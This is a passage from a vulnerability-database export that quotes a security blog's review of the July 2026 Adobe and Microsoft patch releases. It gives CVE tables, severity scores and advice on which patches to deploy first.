Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:19.803878Z"}, {"uuid": "a3103e81-8f03-4fe4-8912-755ddb5546e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54990", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n 